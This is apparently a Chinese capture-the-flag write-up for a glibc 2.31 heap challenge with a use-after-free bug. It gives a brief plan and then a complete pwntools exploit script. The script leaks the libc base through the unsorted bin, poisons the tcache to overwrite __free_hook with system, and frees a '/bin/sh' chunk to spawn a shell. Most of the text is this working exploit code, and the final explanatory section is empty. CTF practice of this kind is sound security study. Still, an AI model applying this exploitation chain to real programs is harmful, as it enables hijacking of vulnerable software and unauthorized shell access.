一道简单的tcache劫持
一、题目
二、思路
存在UAF,libc版本2.31,经典菜单题
1.通过unsorted-bin-attack来leak-libc
2.通过uaf打tcache-bin-attack劫持__free_hook实现getshell
三、EXP
from pwn import *
context(arch='amd64',log_level='debug')
io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def add(size,content):
io.sendlineafter(b'exit\n',b'1')
io.sendlineafter(b'content:',str(size).encode('utf-8'))
io.sendlineafter(b'content:',content)
def edit(index,size,content):
io.sendlineafter(b'exit\n',b'2')
io.sendlineafter(b'index: \n',str(index).encode('utf-8'))
io.sendlineafter(b'content: \n',str(size).encode('utf-8'))
io.sendlineafter(b'Content:',content)
def delete(index):
io.sendlineafter(b'exit\n',b'3')
io.sendlineafter(b'index: \n',str(index).encode('utf-8'))
def show(index):
io.sendlineafter(b'exit\n',b'4')
io.sendlineafter(b'index: \n',str(index).encode('utf-8'))
################# test
# add(10,b'aa')
# show(0)
# edit(0,5,b'22')
# show(0)
# delete(0)
# show(0)
################# gdb-attach
gdb.attach(io);input()
###################################################### leak-libc
for _ in range(9):
add(0x90,b'deadbeef') # a0~a8
for index in range(8):
delete(index) # d0~d7
input('[+] Tcache full-filled')
show(7)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
success('libc:'+hex(libc_base))
###################################################### hijack __free_hook
free_hook=libc_base+libc.sym['__free_hook']
success('__free_hook:'+hex(free_hook))
system=libc_base+libc.sym['system']
success('system:'+hex(system))
# 修改tcache->next
add(0x20,b'deadbeef') # a9 #绕过数量的检查
add(0x20,b'deadbeef') # a10
delete(9)
delete(10)
edit(10,0x10,p64(free_hook)) # 注意tcache LIFO, edit后释放的
input('[+]check1')
add(0x20,b'deadbeef') # a11
add(0x20,p64(system)) # a12
input('[+]check2')
add(0x10,b'/bin/sh\x00') # a13
input('[+]check3')
delete(13) # free('/bin/sh\x00')->__free_hook('/bin/sh\x00')->system('/bin/sh\x00)
io.interactive()
三、过程调试与理解